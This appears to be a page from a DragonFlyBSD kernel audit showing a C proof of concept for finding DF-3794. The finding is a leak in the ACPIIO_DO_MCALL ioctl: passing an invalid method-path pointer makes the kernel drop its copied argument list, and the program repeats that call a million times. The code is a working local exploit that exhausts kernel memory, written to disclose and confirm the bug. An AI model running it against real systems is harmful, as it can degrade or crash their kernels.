⬢ DragonFlyBSD Kernel Audit
DF-3794 / mcallleak.c
← back to finding ↓ download raw
/*
 * DF-3794 PoC: ACPIIO_DO_MCALL leaks the kernel copy of the argument
 * object list when copyinstr() of the method path faults.
 *
 * acpi_call_ioctl() (sys/dev/acpica/acpi.c):
 *	args = acpi_copyin_object_list(&params->args);   <-- allocates
 *	if (!args) return EINVAL;
 *	if (copyinstr(params->path, path, sizeof(path), NULL))
 *	    return EINVAL;                               <-- args leaked
 *
 * Each failing call leaks sizeof(ACPI_OBJECT_LIST) +
 * Count*sizeof(ACPI_OBJECT) bytes of M_ACPICA.  Run as root with
 * debug.acpi.allow_method_calls=1 (loader tunable).
 *
 * usage: mcallleak [iterations]   ; watch `vmstat -m | grep -i acpica`
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include "acpi.h"
#include <dev/acpica/acpiio.h>
#include <dev/acpica/acpiio_mcall.h>

int
main(int argc, char **argv)
{
	long iters = (argc > 1) ? atol(argv[1]) : 1000000;
	int fd, rc, i;
	struct acpi_mcall_ioctl_arg a;
	ACPI_OBJECT objs[2];
	ACPI_OBJECT_LIST ol;

	fd = open("/dev/acpi", O_RDWR);
	if (fd < 0) {
		perror("open /dev/acpi O_RDWR");
		return (1);
	}

	memset(&a, 0, sizeof(a));
	memset(objs, 0, sizeof(objs));
	objs[0].Type = ACPI_TYPE_INTEGER;
	objs[0].Integer.Value = 0x42;
	objs[1].Type = ACPI_TYPE_INTEGER;
	objs[1].Integer.Value = 0x43;
	ol.Count = 2;
	ol.Pointer = objs;
	a.args = ol;
	/* invalid user pointer: copyin of the object list succeeds,
	 * then copyinstr(params->path, ...) faults -> EINVAL, args leaked */
	a.path = (char *)0x10;

	rc = ioctl(fd, ACPIIO_DO_MCALL, &a);
	printf("single call: rc=%d errno=%d (%s) retval=0x%x\n",
	    rc, errno, strerror(errno), (unsigned)a.retval);
	if (rc != 0 && errno != EINVAL) {
		printf("DO_MCALL not reachable as expected (mcall disabled?)\n");
		close(fd);
		return (1);
	}

	for (i = 0; i < iters; i++)
		ioctl(fd, ACPIIO_DO_MCALL, &a);
	printf("done %ld iterations (each leaked the copied-in object list)\n",
	    iters);
	close(fd);
	return (0);
}